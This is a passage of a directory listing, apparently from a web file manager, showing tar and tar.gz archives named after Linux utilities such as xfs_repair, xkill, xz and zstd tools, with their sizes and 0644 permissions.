| xfs_quota.tar | File | 92 KB | 0644 |
|
| xfs_quota.tar.gz | File | 37.75 KB | 0644 |
|
| xfs_repair.tar | File | 601 KB | 0644 |
|
| xfs_repair.tar.gz | File | 299.49 KB | 0644 |
|
| xfs_rtcp.tar | File | 20 KB | 0644 |
|
| xfs_rtcp.tar.gz | File | 4.87 KB | 0644 |
|
| xfs_scrub.tar | File | 108 KB | 0644 |
|
| xfs_scrub.tar.gz | File | 48.07 KB | 0644 |
|
| xkill.tar | File | 16 KB | 0644 |
|
| xkill.tar.gz | File | 5.01 KB | 0644 |
|
| xlsclients.tar | File | 20 KB | 0644 |
|
| xlsclients.tar.gz | File | 6.18 KB | 0644 |
|
| xtables-legacy-multi.tar | File | 98.5 KB | 0644 |
|
| xtables-legacy-multi.tar.gz | File | 36.25 KB | 0644 |
|
| xtables-monitor.tar | File | 221 KB | 0644 |
|
| xtables-monitor.tar.gz | File | 91.05 KB | 0644 |
|
| xvinfo.tar | File | 20 KB | 0644 |
|
| xvinfo.tar.gz | File | 5.33 KB | 0644 |
|
| xzcat.tar | File | 84.5 KB | 0644 |
|
| xzcat.tar.gz | File | 33.92 KB | 0644 |
|
| xzcmp.tar | File | 8.5 KB | 0644 |
|
| xzcmp.tar.gz | File | 2.67 KB | 0644 |
|
| xzegrep.tar | File | 7.5 KB | 0644 |
|
| xzegrep.tar.gz | File | 2.62 KB | 0644 |
|
| xzless.tar | File | 3.5 KB | 0644 |
|
| xzless.tar.gz | File | 1.11 KB | 0644 |
|
| xzmore.tar | File | 4 KB | 0644 |
|
| xzmore.tar.gz | File | 1.2 KB | 0644 |
|
| yw4ujf.zip | File | 8.09 KB | 0644 |
|
| zabbix-agent-timeweb.tar | File | 2 KB | 0644 |
|
| zabbix-agent-timeweb.tar.gz | File | 98 B | 0644 |
|
| zdiff.tar | File | 7.5 KB | 0644 |
|
| zdiff.tar.gz | File | 1.96 KB | 0644 |
|
| zerofree.tar | File | 16 KB | 0644 |
|
| zerofree.tar.gz | File | 3.41 KB | 0644 |
|
| zipdetails.tar | File | 60.5 KB | 0644 |
|
| zipdetails.tar.gz | File | 15.28 KB | 0644 |
|
| zipinfo.tar | File | 172 KB | 0644 |
|
| zipinfo.tar.gz | File | 81.22 KB | 0644 |
|
| zoneinfo-icu.tar | File | 466 KB | 0644 |
|
| zoneinfo-icu.tar.gz | File | 177.45 KB | 0644 |
|
| zstd.tar | File | 856.5 KB | 0644 |
|
| zstd.tar.gz | File | 376.92 KB | 0644 |
|
| zstdcat.tar | File | 856.5 KB | 0644 |
|
| zstdcat.tar.gz | File | 376.92 KB | 0644 |
|
| zstdless.tar | File | 2 KB | 0644 |
|
| zstdless.tar.gz | File | 115 B | 0644 |
|
| zstdmt.tar | File | 856.5 KB | 0644 |
|
| zstdmt.tar.gz | File | 376.92 KB | 0644 |
|